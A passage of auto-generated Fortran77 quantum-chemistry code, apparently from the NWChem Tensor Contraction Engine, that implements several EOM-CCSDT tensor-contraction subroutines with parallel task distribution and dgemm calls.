TCE_RESTRICTED_4(h3b,h4b,h13b,p5b,h3b_2,h4b_2,h13b_2,p5b_2) dim_common = int_mb(k_range+p5b-1) dima_sort = int_mb(k_range+h12b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+h13b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18_3',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18_3',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h12b_ &1 - 1 + noab * (p5b_1 - noab - 1))) CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+h12b-1),2,1,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18_3',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18_3',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18_3',5,MA_ERR) IF ((h13b .le. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (h13b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b &_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h13b-1),int_mb(k_range+p5b-1 &),3,2,1,4,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18_3',6,MA_E &RR) CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18_3',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18_3',8 &,MA_ERR) END IF END IF END IF END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18_3',9,MA_ERR) IF ((h12b .le. h13b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h13b-1 &),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+h12b- &1),3,2,4,1,1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h13b &- 1 + noab * (h12b - 1 + noab * (h4b - 1 + noab * (h3b - 1))))) END IF IF ((h13b .le. h12b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h13b-1 &),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+h12b- &1),3,2,1,4,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h12b &- 1 + noab * (h13b - 1 + noab * (h4b - 1 + noab * (h3b - 1))))) END IF IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18_3',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18_3',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18_4_1(d_a,k_a_offset,d_b,k_b_offset,d_c,k_ &c_offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i2 ( h3 h4 h12 p9 )_yt + = -1 * Sum ( h7 p6 p5 ) * t ( p5 p6 h7 h12 )_t * y ( h3 h4 h7 p5 p6 p9 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h12b INTEGER p9b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER p6b INTEGER h7b INTEGER p5b_1 INTEGER p6b_1 INTEGER h12b_1 INTEGER h7b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER h7b_2 INTEGER p9b_2 INTEGER p5b_2 INTEGER p6b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER nsuperp(2) INTEGER isuperp INTEGER l_c INTEGER k_c DOUBLE PRECISION FACTORIAL EXTERNAL NXTASK EXTERNAL FACTORIAL nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h12b = 1,noab DO p9b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h12b-1)+int_mb(k_spin+p9b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+p9b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+p9b-1)))) .eq. ieor(irrep_y,irrep_t)) T &HEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h12b-1) * int_mb(k_range+p9b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18_4_1',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab DO p6b = p5b,noab+nvab DO h7b = 1,noab IF (int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h7b-1)) THEN IF (ieor(int_mb(k_sym+p5b-1),ieor(int_mb(k_sym+p6b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h7b-1)))) .eq. irrep_t) THEN CALL TCE_RESTRICTED_4(p5b,p6b,h12b,h7b,p5b_1,p6b_1,h12b_1,h7b_1) CALL TCE_RESTRICTED_6(h3b,h4b,h7b,p9b,p5b,p6b,h3b_2,h4b_2,h7b_2,p9 &b_2,p5b_2,p6b_2) dim_common = int_mb(k_range+p5b-1) * int_mb(k_range+p6b-1) * int_m &b(k_range+h7b-1) dima_sort = int_mb(k_range+h12b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+p9b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18_4_1',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18_4_1',2,MA_ERR) IF ((h7b .le. h12b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h12b_ &1 - 1 + noab * (h7b_1 - 1 + noab * (p6b_1 - noab - 1 + nvab * (p5b &_1 - noab - 1))))) CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+h7b-1),int_mb(k_range+h12b-1 &),4,3,2,1,1.0d0) END IF IF ((h12b .lt. h7b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h7b_1 & - 1 + noab * (h12b_1 - 1 + noab * (p6b_1 - noab - 1 + nvab * (p5b &_1 - noab - 1))))) CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+h12b-1),int_mb(k_range+h7b-1 &),3,4,2,1,-1.0d0) END IF IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18_4_1',3,MA &_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18_4_1',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18_4_1',5,MA_ERR) IF ((h7b .lt. h3b) .and. (p6b .le. p9b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p9b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h7b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h7b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p9b-1),6,3,2,1,5,4,1.0d0) END IF IF ((h7b .lt. h3b) .and. (p5b .le. p9b) .and. (p9b .lt. p6b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p9b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h7b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h7b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p9b-1),int_mb(k_range+p6b-1),5,3,2,1,6,4,-1.0d0) END IF IF ((h7b .lt. h3b) .and. (p9b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p9b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h3b_2 - 1 + noab * (h7b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h7b-1) &,int_mb(k_range+h3b-1),int_mb(k_range+h4b-1),int_mb(k_range+p9b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p6b-1),4,3,2,1,6,5,1.0d0) END IF IF ((h3b .le. h7b) .and. (h7b .lt. h4b) .and. (p6b .le. p9b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p9b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h7b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h7b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p9b-1),6,3,1,2,5,4,-1.0d0) END IF IF ((h3b .le. h7b) .and. (h7b .lt. h4b) .and. (p5b .le. p9b) .and. & (p9b .lt. p6b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p9b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h7b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h7b-1),int_mb(k_range+h4b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p9b-1),int_mb(k_range+p6b-1),5,3,1,2,6,4,1.0d0) END IF IF ((h3b .le. h7b) .and. (h7b .lt. h4b) .and. (p9b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p9b_2 - noab - 1 &+ nvab * (h4b_2 - 1 + noab * (h7b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h7b-1),int_mb(k_range+h4b-1),int_mb(k_range+p9b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p6b-1),4,3,1,2,6,5,-1.0d0) END IF IF ((h4b .le. h7b) .and. (p6b .le. p9b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p9b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h7b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h7b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p9b-1),6,2,1,3,5,4,1.0d0) END IF IF ((h4b .le. h7b) .and. (p5b .le. p9b) .and. (p9b .lt. p6b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p9b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h7b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h7b-1),int_mb(k_range+p5b-1) &,int_mb(k_range+p9b-1),int_mb(k_range+p6b-1),5,2,1,3,6,4,-1.0d0) END IF IF ((h4b .le. h7b) .and. (p9b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p9b_2 - noab - 1 &+ nvab * (h7b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b_2 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h7b-1),int_mb(k_range+p9b-1) &,int_mb(k_range+p5b-1),int_mb(k_range+p6b-1),4,2,1,3,6,5,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18_4_1',6,MA &_ERR) nsuperp(1) = 1 nsuperp(2) = 1 isuperp = 1 IF (p5b .eq. p6b) THEN nsuperp(isuperp) = nsuperp(isuperp) + 1 ELSE isuperp = isuperp + 1 END IF CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,2.0d0/FACTORIAL( &nsuperp(1))/FACTORIAL(nsuperp(2)),dbl_mb(k_a_sort),dim_common,dbl_ &mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sort),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18_4_1' &,7,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18_4_1' &,8,MA_ERR) END IF END IF END IF END DO END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18_4_1',9,MA_ERR) CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p9b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+h12b-1 &),3,2,4,1,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p9b - & noab - 1 + nvab * (h12b - 1 + noab * (h4b - 1 + noab * (h3b - 1)) &))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18_4_1',10,M &A_ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18_4_1' &,11,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18_4(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( h3 h4 h12 h13 )_ytt + = 2 * Sum ( p9 ) * t ( p9 h13 )_t * i2 ( h3 h4 h12 p9 )_yt IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER h13b INTEGER h12b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p9b INTEGER p9b_1 INTEGER h13b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER h12b_2 INTEGER p9b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL NXTASK nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO h13b = 1,noab DO h12b = 1,noab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+h12b-1)+int_mb(k_spin+h13b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h13b-1)))) .eq. ieor(irrep_y,ieor(irrep &_t,irrep_t))) THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+h12b-1) * int_mb(k_range+h13b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18_4',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p9b = noab+1,noab+nvab IF (int_mb(k_spin+p9b-1) .eq. int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+p9b-1),int_mb(k_sym+h13b-1)) .eq. irrep_t) T &HEN CALL TCE_RESTRICTED_2(p9b,h13b,p9b_1,h13b_1) CALL TCE_RESTRICTED_4(h3b,h4b,h12b,p9b,h3b_2,h4b_2,h12b_2,p9b_2) dim_common = int_mb(k_range+p9b-1) dima_sort = int_mb(k_range+h13b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+h12b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18_4',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18_4',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_ &1 - 1 + noab * (p9b_1 - noab - 1))) CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p9b-1) &,int_mb(k_range+h13b-1),2,1,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18_4',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18_4',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18_4',5,MA_ERR) IF ((h12b .le. p9b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p9b_2 & - noab - 1 + nvab * (h12b_2 - 1 + noab * (h4b_2 - 1 + noab * (h3b &_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h12b-1),int_mb(k_range+p9b-1 &),3,2,1,4,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18_4',6,MA_E &RR) CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_18_4',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_18_4',8 &,MA_ERR) END IF END IF END IF END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_18_4',9,MA_ERR) IF ((h12b .le. h13b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h12b-1 &),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+h13b- &1),3,2,1,4,1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h13b &- 1 + noab * (h12b - 1 + noab * (h4b - 1 + noab * (h3b - 1))))) END IF IF ((h13b .le. h12b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+h12b-1 &),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1),int_mb(k_range+h13b- &1),3,2,4,1,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(h12b &- 1 + noab * (h13b - 1 + noab * (h4b - 1 + noab * (h3b - 1))))) END IF IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_18_4',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_18_4',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_18(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_of &fset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i0 ( h3 h4 p1 p2 )_ytv + = -1/4 * Sum ( h12 h13 ) * i1 ( h3 h4 h12 h13 )_yt * v ( h12 h13 p1 p2 )_v IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER p1b INTEGER p2b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER h12b INTEGER h13b INTEGER h3b_1 INTEGER h4b_1 INTEGER h12b_1 INTEGER h13b_1 INTEGER h12b_2 INTEGER h13b_2 INTEGER p1b_2 INTEGER p2b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER nsubh(2) INTEGER isubh INTEGER l_c INTEGER k_c DOUBLE PRECISION FACTORIAL EXTERNAL NXTASK EXTERNAL FACTORIAL nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO p1b = noab+1,noab+nvab DO p2b = p1b,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+p1b-1)+int_mb(k_spin+p2b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+p &1b-1)+int_mb(k_spin+p2b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+p1b-1),int_mb(k_sym+p2b-1)))) .eq. ieor(irrep_y,ieor(irrep_t &,irrep_v))) THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+p1b-1) * int_mb(k_range+p2b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_18',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO h12b = 1,noab DO h13b = h12b,noab IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+h &12b-1)+int_mb(k_spin+h13b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h12b-1),int_mb(k_sym+h13b-1)))) .eq. ieor(irrep_y,irrep_t)) &THEN CALL TCE_RESTRICTED_4(h3b,h4b,h12b,h13b,h3b_1,h4b_1,h12b_1,h13b_1) CALL TCE_RESTRICTED_4(h12b,h13b,p1b,p2b,h12b_2,h13b_2,p1b_2,p2b_2) dim_common = int_mb(k_range+h12b-1) * int_mb(k_range+h13b-1) dima_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+p1b-1) * int_mb(k_range+p2b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_18',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_18',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h13b_ &1 - 1 + noab * (h12b_1 - 1 + noab * (h4b_1 - 1 + noab * (h3b_1 - 1 &))))) CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h12b-1),int_mb(k_range+h13b- &1),2,1,4,3,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_18',3,MA_ERR &) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_18',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_18',5,MA_ERR) CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p2b_2 & - 1 + (noab+nvab) * (p1b_2 - 1 + (noab+nvab) * (h13b_2 - 1 + (noa &b+nvab) * (h12b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h12b-1 &),int_mb(k_range+h13b-1),int_mb(k_range+p1b-1),int_mb(k_range+p2b- &1),4,3,2,1,1.0d0) IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_18',6,MA_ERR &) nsubh(1) = 1 nsubh(2) = 1 isubh = 1 IF (h12b .eq. h13b) THEN nsubh(isubh) = nsubh(isubh) + 1 ELSE isubh = isubh + 1 END IF CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,2.0d0/FACTORIAL( 